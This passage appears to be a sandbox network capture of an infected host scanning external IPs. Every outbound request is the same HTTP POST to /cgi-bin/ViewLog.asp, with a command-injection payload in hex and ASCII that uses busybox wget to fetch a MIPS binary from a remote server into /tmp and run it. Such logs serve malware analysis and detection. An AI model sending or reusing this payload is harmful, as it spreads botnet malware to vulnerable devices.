Nov 23, 2023 05:17:44.902249098 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:46.054255009 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:48.326365948 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:52.934246063 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:02.150214911 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.326174021 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.13	36598	95.213.184.189	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.320636034 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:44.937927961 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:45.133620024 CET	552	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:17:45 GMT Server: Apache/2.4.10 (Debian) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.10 (Debian) Server at 192.168.0.14 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.13	35212	62.29.43.25	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.359168053 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:45.542270899 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:46.918251038 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:49.862267971 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:55.494211912 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:06.502207994 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.13	58364	94.121.124.205	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.686559916 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.13	58682	94.121.148.211	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.747831106 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.13	45350	94.120.211.234	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.747862101 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.13	51838	95.86.112.151	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.750519037 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.13	40932	31.136.140.22	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.873069048 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:45.446299076 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:46.598256111 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:49.094243050 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.702243090 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:02.918205976 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:22.374341965 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.13	41500	94.253.16.167	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.915709019 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
